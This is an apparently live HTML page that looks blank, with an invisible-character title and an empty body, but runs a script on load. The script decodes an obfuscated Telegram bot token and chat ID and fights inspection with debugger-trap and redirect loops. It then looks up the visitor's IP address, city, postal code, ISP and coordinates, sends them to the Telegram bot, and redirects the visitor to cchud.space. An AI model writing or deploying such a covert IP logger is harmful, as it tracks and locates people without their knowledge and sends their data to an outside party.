<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ㅤ</title>
    <script>
        // Obfuscated Bot Token and Chat ID
        const encryptedToken = 'ae80323a8d123ce531d8cb78c35eb171'; // Example encrypted token
        const encryptedChatId = 'a2ed537b7d183f9dc90123f5678ab123'; // Example encrypted chat ID

        // Simple XOR encryption/decryption function
        function xorEncryptDecrypt(input, key) {
            let output = '';
            for (let i = 0; i < input.length; i++) {
                output += String.fromCharCode(input.charCodeAt(i) ^ key.charCodeAt(i % key.length));
            }
            return output;
        }

        // Decrypt token and chat ID
        const decryptionKey = 'tgujfghjfgyhjfghjfghfghjgfvhnmfghnvv'; // Change this to a secure key
        const BOT_TOKEN = xorEncryptDecrypt(atob(encryptedToken), decryptionKey);
        const CHAT_ID = xorEncryptDecrypt(atob(encryptedChatId), decryptionKey);

        // Redirect immediately if debugger detected
        function immediateAntiDebug() {
            const threshold = 160;
            if (window.outerWidth - window.innerWidth > threshold || window.outerHeight - window.innerHeight > threshold) {
                window.location.href = 'https://cchud.space/lol.html';
                return;
            }
            const devtools = /./;
            devtools.toString = () => {
                window.location.href = 'https://cchud.space/lol.html';
            };
            console.log(devtools);
        }
        immediateAntiDebug();

        // Persistent anti-debug loop with aggressive handling
        setInterval(() => {
            try {
                const start = performance.now();
                debugger;
                const end = performance.now();
                if (end - start > 100) {
                    while (true) {
                        alert('Debugger detected! Redirecting...');
                        window.location.href = 'https://cchud.space/lol.html';
                    }
                }
            } catch (e) {
                while (true) {
                    alert('Debugger detected! Redirecting...');
                    window.location.href = 'https://cchud.space/lol.html';
                }
            }
        }, 50);

        // Function to send a message to Telegram bot
        async function sendMessageToTelegram(message) {
            const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`;
            const payload = {
                chat_id: CHAT_ID,
                text: message,
                parse_mode: 'HTML',
            };

            try {
                await fetch(url, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify(payload),
                });
            } catch (error) {
                console.error('Error sending message:', error);
            }
        }

        // Fetch the user's IP address and detailed information
        async function fetchAndSendData() {
            try {
                const response = await fetch('https://ipapi.co/json/');
                const data = await response.json();

                const ipAddress = data.ip;
                const city = data.city;
                const region = data.region;
                const country = data.country_name;
                const postal = data.postal;
                const timezone = data.timezone;
                const isp = data.org;
                const latitude = data.latitude;
                const longitude = data.longitude;
                const countryCode = data.country;

                const message = `💾 <b>New Visitor Information</b>
` +
                                `🌐 <b>IP Address:</b> ${ipAddress}
` +
                                `📍 <b>Location:</b> ${city}, ${region}, ${country} (${countryCode})
` +
                                `✉️ <b>Postal Code:</b> ${postal}
` +
                                `🕒 <b>Timezone:</b> ${timezone}
` +
                                `🔗 <b>ISP:</b> ${isp}
` +
                                `🌍 <b>Coordinates:</b> ${latitude}, ${longitude}`;

                // Send the message to Telegram
                await sendMessageToTelegram(message);
            } catch (error) {
                console.error('Error fetching IP info:', error);
                await sendMessageToTelegram('❌ <b>Error fetching IP info:</b> ' + error);
            } finally {
                // Redirect the user to another page
                window.location.href = 'https://cchud.space/lol.html';
            }
        }

        // Execute the function immediately on load
        window.onload = fetchAndSendData;
    </script>
</head>
<body>
</body>
</html>
